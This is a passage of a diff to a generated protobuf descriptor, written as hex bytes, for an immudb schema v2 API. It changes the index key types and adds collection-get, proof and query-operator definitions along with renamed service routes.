0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, - 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa3, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, - 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, - 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, + 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, + 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x03, 0x0a, 0x15, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x17, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x48, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, + 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x48, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x38, 0x0a, 0x11, 0x50, 0x6f, 0x73, + 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, + 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, + 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x56, 0x32, 0x12, 0x76, 0x0a, 0x07, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x56, 0x32, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, + 0x32, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x73, 0x79, 0x73, 0x74, + 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x81, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x8d, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x94, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x88, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, + 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x32, 0xbf, 0x06, 0x0a, 0x0b, 0x49, - 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x67, 0x0a, 0x05, 0x4c, 0x6f, - 0x67, 0x69, 0x6e, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x1f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x19, 0x22, 0x14, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, - 0x3a, 0x01, 0x2a, 0x12, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 